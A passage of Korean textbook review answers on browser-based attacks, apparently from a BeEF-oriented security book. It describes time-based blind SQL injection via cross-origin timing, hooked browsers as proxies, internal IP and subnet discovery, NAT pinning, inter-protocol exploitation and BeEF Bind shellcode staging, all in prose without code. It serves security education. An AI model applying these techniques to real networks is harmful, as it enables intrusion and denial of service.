XSRF 취약점들은 정적인 기능들에 대한 특정 매개변수들의 동일성에 의존한다. 그런 취약점이 존재하면 대부분의 경우 다른 도메인의 스크립트를 이용해서 SOP를 위반하지 않고도 그런 기능을 요청하는 것이 가능하다. 예를 들어 인증 후 XSRF 취약점이 있는 경우, 그리고 사용자가 로그인된 상태이면, 브라우저는 필요한 쿠키들을 대상 도메인에게 전송한다. XSRF 취약점 덕분에 공격자는 사용자가 민감한 기능을 실행하게 만드는 데 필요한 모든 매개변수를 미리 알 수 있다. '사용자 생성'이나 '패스워드 변경' 같은 몇몇 기능에 대해 이런 공격이 성공한다면 피해가 상당히 클 수 있다. 의사난수 XSRF 방지 토큰을 도입해서, 토큰의 이전 값을 다른 매개변수들과 함께 전송하게 해서 요청을 보호하면 그런 공격을 막을 수 있다. 교차 기원 상황에서 공격자는 서버의 응답을 읽지 못하기 때문에 그 토큰의 값을 알 수 없다. 그냥 기본적인 난수 값을 토큰으로 사용해도 공격자가 주먹구구식으로 XSRF 방지 토큰 값을 대입해서 우회하는 것을 사실상 비현실적으로 만들 수 있다(요청 사이에 시간 지연이 존재한다고 할 때). 그러나 교차 기원에서 XSRF 토큰을 공격자가 읽는 방법이 아예 없는 것은 아니다. 이를테면 UI 재치장 공격을 이용할 수도 있다. 제4장에서 논의한 가짜 CAPTCHA 기법이 그러한 예이다.

6 SOP를 지키면서 교차 기원으로 SQL 주입 취약점을 검출하는 방법은 무엇인가? 그 방법은 맹목적인가?

SOP를 위반하지 않고 교차 기원 `XMLHttpRequest` 요청을 전송할 수 있으며, 응답 자체는 읽지 못하지만 응답이 돌아오는 시간을 측정할 수는 있다. 그러한 시간 측정을 이용해서 SQL 주입 취약점을 검출하고 악용하는 것이 가능하다. 시간이 오래 걸리는 SQL 질의가 포함된 악성 요청을 전송했을 때 실제로 시간이 오래 걸린다면 취약점이 존재하는 것이다. 그런 용도로 흔히 쓰이는 SQL 함수로는 `waitfor`(MSSQL), `sleep`(MySQL), `pg_sleep`(Postgres) 등이 있다. 또는 MySQL의 벤치마크 기능처럼 CPU를 많이 사용하는 작업을 유발해 보는 것도 한 방법이다. SQL 주입 취약점이 오류 기반이거나 부울 기반 맹목적 취약점인 경우에도 시간 기반 맹목적 SQL 주입 기법을 이용해서 악용하는 것이 여전히 가능하다.

7 후킹된 브라우저를 HTTP 프록시로 사용하는 방법을 설명하라.

SOP를 위반하지 않는 또는 교차 기원 정책이 허용하는 요청이거나 SOP를 우회할 수 있는 경우 `XMLHttpRequest` 객체를 통해서 응답 전체를 읽을 수 있다. 이처럼 원래의 HTTP 응답 자체에 접근할 수 있으면, 충분히 통제된 브라우저를 개방된 또는 제한된 프록시로 작동하게 만드는 것이 가능하다. JavaScript를 통해서 그런 기능들에 완전히 접근할 수 있으므로 '충분히 통제된'이라는 조건을 만족하는 것은 그리 어렵지 않다. SOP의 제약만 벗어난다면 제한이 전혀 없는 프록시를 구현할 수 있다.

8 이번 장에서 설명한 Glassfish 취약점(CVE-2012-0550) 악용 방법을 독자 나름의 방식으로 서술하라. 그 방법에서 주의할 점은 무엇인가?

GlassFish 악용 방법은 GlassFish 관리자 콘솔이 XSRF 토큰을 사용하지 않는다는 점에 의존한다. 비Gecko 브라우저에서 악성 코드를 전달하는 것이 조금 까다롭다는(`XMLHttpRequest` 객체에 `sendAsBinary()` 메서드가 없기 때문에) 점을 제외할 때, 이 악용을 성공적으로 수행하는 데 있어 유일한 걸림돌은 반드시 GlassFish 관리자 콘솔에 로그인되어 있는 GlassFish 서버 관리자의 브라우저(후킹된)에서 악용 과정을 시작해야 한다는 점이다.

9 모든 도메인에서 접근을 허용하도록 느슨하게 설정된 교차 기원 정책을 악용하는 방법을 구체적인 예와 함께 서술하라.

느슨한 교차 기원 정책을 이용해서 SOP를 우회할 수 있다. 느슨한 정책 때문에 다른 모든 기원을 신뢰하는 기원이 있다면 공격자는 자신이 제어하는 기원에서 얼마든지 앞의 기원에 요청을 보낼 수 있으며, DOM에도 접근할 수 있게 된다. 또 다른 예로, 서로 다른 기원들에 후킹된 여러 브라우저들을 이용해서 분산된 방식으로 하나의 기원을 공격할 수 있다. 예를 들어 느슨한 정책을 가진 사이트의 로그인 페이지에 사전辭典 공격을 시도한다고 할 때, 사전 자료를 여러 브라우저들에 분산시킴으로써 효율을 높일 수 있다. 그 외에, 다수의 브라우저를 이용해서 주입 취약점의 종류를 신뢰성 있게(응답을 읽을 수 있으므로) 검출하고 악용하는 것도 한 예이다.

10 웹 응용 프로그램 과부하 지점의 예를 제시하라.

그런 예는 나열하기 힘들 정도로 많다. 혹시 놓쳤을지 모르겠지만, 본문에도 예가 하나 나와 있다. bcrypt처럼 CPU를 많이 사용하는 해시 함수를 이용해서 사용자의 패스워드를 안전하게 보호하는 웹 응용 프로그램이라면 로그인 메커니즘에 과부하 지점이 존재할 가능성이 있다. 로그인 메커니즘에 되풀이해서 요청을 보내면 서버 CPU 사용량이 충분히 높아져서 서버가 느려질 것이다. 이 경우 공격하는 클라이언트의 비용은 아주 적다. 따라서 로그인 메커니즘을 설계할 때에는 서버의 회복 여지를 고려할 필요가 있다(이를테면 요청들을 IP 주소별로 감시, 억제하는 등). 이런 종류의 약점은 서비스 거부 공격의 좋은 먹잇감이다.

제10장

1 대상의 내부 네트워크 IP 주소를 얻는 방법과 이것이 중요한 이유를 서술하라.

구체적인 방법은 피해자가 사용하는 브라우저 버전에 따라 다를 수 있다. Firefox의 이전 버전들에서는 JavaScript를 통해서 Java에서 직접 IP 주소를 조회할 수 있었다. 좀 더 최근 브라우저들에서는, WebRTC(Web Real Time Communications) 등 브라우저가 지원하는 다른 기능이나 프로토콜에 존재하는 기벽을 이용해서 내부 IP를 알아내는 것이 가능하다. WebRTC의 경우 통신 요청을 설정하면 자동으로 자료 요소에 IP 주소가 채워지므로 그 주소를 추출하면 된다. 브라우저의 IP 주소를 아는 것이 중요한 이유는, 구체적인 IP 주소를 알면 IP 주소들을 주먹구구식으로(RFC 1918에 정의된 사설 주소가 수백만 개라서 시간이 아주 많이 걸릴 수 있다) 탐색하지 않고도 주변 시스템들의 존재를 파악할 수 있기 때문이다.

2 대상의 내부 네트워크 IP 주소를 알아낼 수 없는 상황에서 대상이 속한 부분망을 식별하는 방법은 무엇인가?

유망한 부분망 주소 범위에 있는 IP 주소들 전부 또는 일부에 대해 일일이 `XMLHttpRequest` 요청을 보내는 단순한 주먹구구식 부분망 탐색 기법을 이용하면 된다. RFC 1918의 사설 주소 공간은 매우 크지만, 그 공간의 대부분은 10.0.0.0/8 부분망에 속한다. 기업이나 조직들은 그 부분망 대신 192.168이나 172.16-172.31을 사용하는 경우가 많으므로, 그 범위를 출발점으로 삼아서 주소 공간을 훑으면서 게이트웨이 IP(흔히 마지막 번호가 .1이나 .254이다)를 찾아보면 된다.

3 포트 차단이 중요한 보안 제어 수단인 이유는 무엇인가?

포트 차단 기능은 브라우저가 흔히 쓰이는 서비스들과 상호작용하지 못하게 하기 위한 것이다. SOP를 우회한다고 해도 차단된 포트에는 접근할 수 없다. 일반적으로 여러 서비스들은 잘 알려진 포트 번호를 사용하므로, 포트 차단 기능은 HTTP 요청 안에 악성 자료를 내장해서 비HTTP 서비스를 공격하기 위한 수단으로 브라우저를 사용하려는 시도를 방지해 준다. 그런 공격의 유명한 실제 사례로, 몇 년 전에 Freenode IRC 채널들에 스팸이 발송된 적이 있다. 기본 IRC 데몬은 TCP 포트 6667에서 요청을 기다린다. 당시 그 포트를 차단하는 브라우저는 Chrome과 Safari뿐이었다. 그리고 IRC 프로토콜은 오류 내구성이 있어서 프로토콜 간 악용이 가능했다. 밝혀진 바로는, 공격자들은 여러 개의 브라우저들을 이용해서 IRC 명령을 담은 HTTP 요청들을 Freenode IRC 채널들에 전송해서 스팸을 뿌렸다. 이는 간단한 예이지만, 제10장 끝 부분에서 논의하듯이 차단되지 않은 포트를 사용하며 프로토콜 간 악용에 취약한 데몬에 대한 공격은 이보다 훨씬 심각한 피해를 불러올 수 있다.

4 모든 브라우저가 TCP 포트 22, 25, 143에 대한 연결을 차단하는 상황에서, 이 포트들이 실제로 열려 있는지 확인하려면 어떻게 해야 할까?

포트 차단을 우회하지 않는 한 불가능하다.

5 NAT 핀 꽂기 공격 기법을 설명하라.

NAT 핀 꽂기 공격은 SOHO용 공유기 같은 네트워크 경계선에 있는 장치, 좀 더 일반적으로는 방화벽을 속여서, 네트워크 외부에서 내부 자원(이전에는 보호되었던)에 접근할 수 있게 만드는 기법이다. Sami Kamkar가 처음 발견한 이 공격 기법은 내부 네트워크상의 브라우저를 후킹해서 공격자의 IRC 서버에 요청(IRC 명령을 내장한)을 보내게 만든다. 교묘하게 만들어진 그 요청을 방화벽은 IRC의 DCC(Direct Client-to-Client) 요청으로 오인하며, 결과적으로 외부에서 들어오는 통신을 허용하게 된다.

6 프로토콜 간 통신이 가능하게 되었다면, SOP도 우회된 것일까?

SOP는 프로토콜 간 통신으로 우회되지 않는다.

7 프로토콜 간 악용 기법을 예제와 함께 서술하라.

프로토콜 간 악용(Inter-protocol Exploitation, IPE)은 취약한 서비스에 프로토콜 간 통신(Inter-protocol Communication, IPC)을 이용해서 실제 악성 코드를 전송하는 것이다. 흔히 비HTTP 악성 코드를 HTTP 요청으로 캡슐화해서 비HTTP 서비스에 보내게 되는데, 이진 내용을 요청에 포함하는 경우도 있다. 본문에 Groovy Shell 서버에 대한 예제가 나왔다.

8 프로토콜 간 악용 기법의 한계는 무엇인가?

프로토콜 간 악용의 한계는 결국 프로토콜의 오류 내구성으로 압축된다. 즉, 이 기법의 한계는 프로토콜이 다양한 형태의 입력을 오류 메시지 없이 얼마나 관대하게 받아들이느냐에 의해 결정된다. 구체적인 한계는 두 프로토콜이 얼마나, 어떻게 다른지에 따라 다양하다. 다르다. 예를 들어 패킷 길이나 필드 길이에 대한 제한일 수도 있고, 특정 형태의 입력을 요구하는 프로토콜의 제약에 따른 한계일 수도 있다. 상황에 따라서는 의미 있는 통신이 불가능할 수도 있다. 예를 들어 프로토콜이 받아들이는 연결 요청의 처음 몇 바이트들은 반드시 256 이상의 값들이어야 하는데 보내는 쪽에서는 오직 ASCII 기반 HTTP 프로토콜만 사용해야 한다면 연결 자체가 불가능하다. 또 다른 한계로, 취약한 대상 서비스와 악용의 종류에 따라서는 셸코드의 크기가 문제가 될 수 있다. 예를 들어 오류 내구적인 프로토콜 구현이 HTTP 헤더를 명령들과 동일한 버퍼에 담아 둔다고 하면, 셸코드를 추가하기에 충분한 공간이 마련되지 않을 수 있다.

9 BeEF Bind는 악성 요청을 둘로 나눈다. 그 둘이 무엇인지, 그리고 왜 둘로 나누는지 설명하라.

BeEF Bind는 초기 공격 매개체로 사용할 셸코드의 길이를 최소화하기 위해 요청을 스테이저와 스테이지로 나눈다. 이 덕분에 악용을 위한 메시지 길이를 줄일 수 있다. 실제 악성 코드는 일단 실행 경로를 통제하게 된 후에 개별적인 통신 채널을 통해서 가져온다. 첫 요청은 대상 서비스의 취약점을 악용하는 스테이저를 담고 있다. 이 스테이저는 대상 프로세스의 메모리 안에 적재된다. 스테이저가 새 포트를 열면 그 포트로 스테이지를 담은 둘째 요청이 전송된다. 그러면 전체 BeEF Bind 악성 코드가 메모리 안에서 실행되며, 그때부터 공격자는 해당 셸과 상호작용할 수 있다.

10 BeEF Bind에서 CORS가 중요한 이유는 무엇인가?

BeEF Bind 악성 코드는 CORS(Cross-origin Resource Sharing) 정책을 느슨하게 만들어서 임의의 기원에서(따라서 임의의 후킹된 브라우저에서) 해당 기원에 접근할 수 있게 만든다. 이렇게 하면 오염된 서버에서 후킹된 브라우저로의 응답 전송에 SOP의 제약이 가해지지 않는다.